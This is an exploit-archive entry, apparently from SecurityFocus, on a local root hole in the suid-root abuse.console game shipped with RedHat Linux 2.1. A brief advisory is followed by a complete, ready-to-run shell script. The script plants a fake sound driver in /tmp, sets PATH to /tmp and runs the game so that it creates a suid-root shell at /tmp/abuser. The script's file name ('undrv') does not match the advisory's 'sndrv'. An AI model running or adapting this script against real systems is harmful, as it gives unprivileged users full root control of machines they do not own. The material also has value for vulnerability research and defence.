RedHat Linux 2.1 - abuse.console Local Privilege Escalation

source: https://www.securityfocus.com/bid/354/info

Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise. 

Exploit:

#!/bin/sh

#

# abuser.sh

# exploits a security hole in abuse to create

# a suid root shell /tmp/abuser on a linux

# Red Hat 2.1 system with the games package

# installed.

#

# by Dave M. ([email protected])

#

echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system

echo ================ Checking system vulnerability

if test -u /usr/lib/games/abuse/abuse.console

then

echo ++++++++++++++++ System appears vulnerable.

cd /tmp

cat << _EOF_ > /tmp/undrv

#!/bin/sh

/bin/cp /bin/sh /tmp/abuser

/bin/chmod 4777 /tmp/abuser

_EOF_

chmod +x /tmp/undrv

PATH=/tmp

echo ================ Executing Abuse

/usr/lib/games/abuse/abuse.console

/bin/rm /tmp/undrv

if test -u /tmp/abuser

then

echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser

else

echo ---------------- Exploit failed

fi

else

echo ---------------- This machine does not appear to be vulnerable.

fi